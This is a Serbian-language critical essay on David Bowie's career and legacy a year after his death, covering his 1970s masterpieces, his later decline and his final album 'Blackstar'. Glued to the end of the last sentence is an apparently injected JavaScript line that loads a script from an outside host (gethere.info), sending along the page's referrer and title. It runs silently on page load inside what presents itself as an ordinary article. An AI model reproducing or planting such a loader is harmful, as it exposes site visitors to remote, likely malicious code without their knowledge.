MAGIČNI ĆIRA: Dejvid Bouvi, rob sopstvenog uspeha

Svi zainteresovani za njegov rad bili su svedoci kako je Bouvi i pre povlačenja sa scene postao rob sopstvenog uspeha, ali i manipulatorske slobode mešanja javnog i privatnog, za koju se izborio da bude tretirana kao njegova privilegija

Eto, prošla je prva godina kako je Dejvid Bouvi napustio barem neke od svetova što ih je sagradio. Prošla je i medijska histerija i tržišni cunami, koji su još jednom potvrdili da je smrt najbolji marketinški potez u karijeri bilo kog umetnika. Za klasno deklasiranog i retkim darom opterećenog dečkića koji je rođen u sirotinjskom Brikstonu, najozloglašenijem londonskom getu, velika je pobeda da mu se na kraju žurke pepeo prospe na egzotičnom ostrvu Bali. I to uz planetarne počasti.

Ovih zamrznutih januarskih dana strašno me zanima da li Bouvi, tamo u svom opevanom raju, romori Montenjeve reči: "Radije bih se vratio s onog sveta da bih obelodanio laž onog koji me prikazuje drugačijim nego što sam bio, čak i kada je u pitanju pohvala"? Nisam siguran, zato što je slučaj suviše komplikovan. Ne mislim da Bouviju manjka smelosti, pa i drskosti, ali ko je odista "najveći kameleon rokenrola"? Šta je zajedničko Zigiju Stardastu i Tankom Belom Vojvodi? Čitavo Bouvijevo delo nam poručuje, u bezbroj refrena: Sve je nestalno, i ti i ja i bilo ko drugi nismo ono što mislimo da jesmo.

Njegov fizički nestanak nije razrešio ili umanjio misteriju njegovog uspona i pada. Umetnik koji je promenio lice i naličje rokenrola, rušeći tabue i kanone tako što je stvarao nove standarde, nove alternativne koncepte, novu mitologiju - a koji je potom toliko urastao u mejnstrim da niko nije ni obratio pažnju kako je i u svojim najbenignijim danima, kada je smatran penzionisanim komercijalnim simbolom, ipak pokazao da nije izgubio rokerski integritet te je odlučno odbio titulu sera (2003).

Nema te smrti koja može umanjiti prevratnički značaj Bouvijeve serije briljantnih albuma u periodu 1971-76, niti zatomiti zapanjujuću činjenicu kako najveći britanski umetnik '70-ih - i posle "Bitlsa" najuticajnija ostrvska rok zvezda - u poslednjih 35 godina svog života nije napisao nijednu veliku pesmu! A samo je poželeo da se skine s droga i postane "Frenk Sinatra svoje generacije".

Više puta sam se susreo s ličnostima čija je veličina za mene bila očigledna, s ljudima neumorne unutrašnje pasije, kojoj su posvetili život, i redovno me šokiralo što su ti ljudi zbog svoje veličine bili opustošeni, kao da im nije ostavila mesta za obična ljudska osećanja: proždirala ih je jedna jedina želja, jedno nesalomivo uverenje. Dejvid Bouvi nije želeo da plati takvu cenu, ali je nekako uspeo da ostane privržen toj ogoljavajućoj strasti, nepogrešivo je dozirajući po zahtevima sopstvene sudbine. To je već nesvakidašnja veština u kojoj ima nečeg od metafizike, ali ta metafizika funkcionisala je po njegovoj meri. Ravnoteža između ludosti i predumišljaja, rizika i pozerstva, obeležila je čitavo Bouvijevo stvaralaštvo nad kojim je stalno lebdela sumnja - koliko se uopšte može kontrolisati umetnikova samokontrola? Svi zainteresovani za njegov rad bili su svedoci kako je Bouvi i pre povlačenja sa scene postao rob sopstvenog uspeha, ali i manipulatorske slobode mešanja javnog i privatnog, za koju se izborio da bude tretirana kao njegova privilegija, tj. pravo na artificijelno izmišljanje sebe u tuđim projekcijama. Odlazak u medijsku izolaciju i kreativnu hibernaciju dobro je podneo jer nije bilo potrebe da ih odglumi budući da je kao umetnik naprosto iscedio svoje parče suve drenovine do poslednje kapi.

Nije preterivanje Bouvijeve početke opisati kao očajničke, koliko i ambiciozne. Nema tog muzičkog pravca u '60-im koji nije štreberski ispratio. Od klasičnog rokenrola i bluza, preko folka, popa, mjuzik hola, psihodelije, stigao je do progresivnog roka i hevi metala. Trebalo je vremena i napornog rada da bi se od neumornog trendsetera transformisao u eklektičnog autora koji je ovladao sintezom različitih žanrova i od toga napravio autentični stil.

Po drugi put je skoro uništio svoju karijeru veličajući fašizam i proglašavajući Hitlera "jednom od prvih rok zvezda". Preživeo je i tu provokaciju, kao što je pre toga preživeo priznanje da je biseksualac

Tek je na albumu "Hunky Dory" (1971) njegova kreativna mašta postigla saglasje sa "gladnom" energijom, te je sve razbijene komadiće svojih košmarnih snova majstorski sklopio u gotovo savršen mozaik: bilo je to njegovo prvo remek-delo, ostvarenje koje je najavilo početak nove decenije u kojoj će biti jedan od najvažnijih aktera. A onda je zaređao sa svojim vizijama koje su se pokazale kao nečuveni podvizi. Najpre je pamtljivim a neobičnim melodijama, uz kreiranje eskstremno dekadentnog imidža superstara vanzemaljca, odveo prostodušni glem-rok do neslućenih visina; zatim je otkrio Ameriku kao miks Orvelove i Barouzove distopije; uživajući u kokainskoj paranoji stvorio je "plastični soul" - matricu svih budućih plesnih podžanrova. Godine 1976. nastalo je njegovo drugo remek-delo, "Station To Station", možda jedini album koji može po (d)neti etiketu "art-rok". Zvuči pretenciozno, ali sve veliko što je Bouvi napravio i jeste golema pretencioznost s golemim pokrićem. Te iste godine po drugi put je skoro uništio svoju karijeru veličajući fašizam i proglašavajući Hitlera "jednom od prvih rok zvezda". Preživeo je i tu provokaciju, kao što je pre toga preživeo priznanje da je biseksualac - čak je, uprkos masovnom zgražavanju, osvojio vrhove top lista u puritanskoj Americi.

Nakon tog "belog usijanja" sklonio se u Zapadni Berlin, udvarao se nemačkoj anarhističkoj levici i novim ekspresionistima, ukrštao ambijentalnu muziku sa fanki minimalizmom i gitarskom bukom na način da mu i nedovoljno koherentni albumi zvuče kao nepatvoreni eksperiment sa specifičnom težinom. Za takvo hodanje po ivici imao je snage dok je bilo para za kokain, orgije i prateću ikonografiju. A onda je odlučio da uspešan umetnik znači bogati umetnik i krenuo je sa plagiranjem i anesteziranjem sopstvenog opusa, da bi se vremenom izgubio u okeanu keša i loše umivenih ploča. Kada je pokušao da oživi rokersku pravovernost, zvučao je još jadnije. Svi pokušaji da povrati pređašnji proročanski sjaj svodili su se na pomodarsko koketiranje sa aktuelnim pravcima: industrial/hip-hop/tehno/jungle/drum'n'bass. Bezlično, mehaničko krpljenje - tako bi se mogli opisati svi njegovi albumi nastali posle oproštajne 1980. godine.
Kao što se trudio na početku, tako se vraški potudio i na kraju, ne želeći da izneveri sve predrasude, kontroverze, ali i fanovsku ljubav koju je doživeo u pravo vreme, u enormnim količinama.

Svestan da ga smrt tapše po ramenu, kreće sa radom na oproštajnom albumu, pomiren da ga je muzika davno napustila, ali ne i umetnička samosvest. "Blackstar" je radikalni otklon od mediokritetstva pop sveta, od beslovesne estrade prepune glamuroznog ziheraštva i lažne empatije, bekstvo od materijalističkog cinizma, iluzije svetlosti, koja nije ništa drugo do senka neonskih reklama. Teško slušljiv, bez melodijske invencije ili emocionalne prijemčivosti, poslednji Bouvijev album je morbidni manifest o umiranju umetnosti kojoj je u prirodi da tinja i pulsira i u stanju beskonačne agonije. A opet, odsustvo otpora, prihvatanje smrti, lagodno spokojstvo, hrabrost i razumevanje, mirenje s pretvaranjem u prah i pepeo, s potpunim, gotovo anonimnim iščezavanjem - prepoznajem u tome određenu veličinu.

U jednom od bezbrojnih elokventnih intervjua, Bouvi je izrekao svoju ključnu misao, prikrivenu molitvu: "Ako je Bog već odlučio da od mene načini umetnika, ostaje mi samo da se nadam da neću postati osrednji umetnik. To bi bila suviše okrutna šala." Naizgled paradoksalno, Bog je bio veoma milosrdan prema ovom labilnom ateisti i verujućem agnostiku. Ali Bog stvara čoveka, da bi ga ovaj stvorio. A Bouvi je u svojoj prvoj ("Space Oddity"), kao i u svojoj poslednoj velikoj pesmi ("Ashes To Ashes"), priznao da je usamljenost bez Boga nepodnošljiva.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';